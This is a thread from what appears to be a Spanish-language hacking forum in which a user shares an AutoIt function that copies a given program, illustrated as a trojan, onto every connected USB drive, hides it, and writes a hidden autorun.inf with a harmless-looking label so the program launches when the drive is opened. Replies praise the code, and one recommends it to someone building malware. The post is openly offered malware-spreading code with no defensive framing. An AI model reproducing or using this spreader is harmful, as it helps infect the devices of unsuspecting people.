comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[AutoIt] USB spreader function

  • 2 Respuestas
  • 2616 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado 0b3Y

  • *
  • Underc0der
  • Mensajes: 12
  • Actividad:
    0%
  • Reputación 0
  • The World Is MINE!
    • Ver Perfil
« en: Mayo 29, 2014, 03:18:19 pm »
Hola buenas, les traigo aqui una funcion que acabo de relaizar para hacer spreading en los usb que esten conectados.
Actualmente estoy trabajando en la siguiente version asique esperen un poc y tendran el code mejorado :P

Código: Text
  1. ; #FUNCTION# ===========================================================================================================
  2. ; Name...........: __Spreader
  3. ; Description ...: Copys a program in all USB and creates a autorun.
  4. ; Syntax.........: _Spreader ($program,nombre)
  5. ; Parameters ....: $program - The route of the program, must be complete, Ej: C:\Users\User\AppData\Roaming\TrojanFolder\Trojan.exe
  6. ;                                  $nombre - The name of the program, this will be used in the AutoRun. Must be like this, Ej: "TrojanName.exe"
  7. ; Author ........: 0b3y
  8. ; ===============================================================================================================================
  9.  
  10. Func _Spreader($program,$nombre)
  11. $todos_drive=DriveGetDrive("REMOVABLE")
  12. For $i=1 To $todos_drive[0]
  13.    If $todos_drive[$i]="a:" Then
  14.           ContinueLoop
  15.    EndIf
  16.    If Not FileExists($todos_drive[$i]&"\"&$program) Then FileCopy($program,$todos_drive[$i])
  17.           FileSetAttrib($todos_drive[$i]&"\"&$program,"+H")
  18.    If Not FileExists($todos_drive[$i]&"\"&"autorun.inf") Then
  19.           $ifile=FileOpen($todos_drive[$i]&"\autorun.inf")
  20.           FileWrite($ifile,"[Autorun]"&@CRLF&"Open="&$nombre&@CRLF&"Icon="&$nombre&@CRLF&"Label=Aplicaciones Portables"&@CRLF&"UserAutoPlay=1"&@CRLF&"action=Abrir USB"&@CRLF&"action=@"&$nombre&@CRLF&"shell\open=Abrir"&@CRLF&"shell\open\Command="&$nombre&@CRLF&"shell\explore=explorar"&@CRLF&"shell\explore\Command="&$nombre)
  21.           FileClose($ifile)
  22.           FileSetAttrib($todos_drive[$i]&"\autorun.inf","+H")
  23.           EndIf
  24. Next
  25.  
  26. EndFunc
  27.  
  28.  
« Última modificación: Junio 02, 2014, 07:32:13 am por 0b3Y »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5400
  • Actividad:
    40%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Mayo 29, 2014, 03:28:28 pm »
Muy bueno bro! Se lo voy a recomendar a un amigo que estaba programando un malware en este lenguaje!

Saludos!
ANTRAX


Desconectado 79137913

  • *
  • Moderator
  • Mensajes: 634
  • Actividad:
    0%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #2 en: Mayo 29, 2014, 06:21:10 pm »
HOLA!!!


Esta bueno, despues te paso uno mas :D.-


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



[AutoIt] Ayuda: alguna manera de formatear unidades

Iniciado por fortil

Respuestas: 1
Vistas: 1815
Último mensaje Abril 14, 2014, 06:29:19 am
por 0b3Y
[AUTOIT] Anti VMWare & AntiVbox

Iniciado por Expermicid

Respuestas: 0
Vistas: 1731
Último mensaje Julio 03, 2012, 11:33:30 am
por Expermicid
[FUNCION] Autoit TCP File Send

Iniciado por 79137913

Respuestas: 0
Vistas: 1769
Último mensaje Diciembre 10, 2013, 11:02:38 am
por 79137913
[RAT] Lo basico para empezar un RAT en AUTOIT

Iniciado por 79137913

Respuestas: 1
Vistas: 2069
Último mensaje Diciembre 02, 2013, 11:37:43 am
por ANTRAX
Como agregar skins en autoit

Iniciado por Flame

Respuestas: 0
Vistas: 3089
Último mensaje Agosto 17, 2016, 11:18:56 pm
por Flame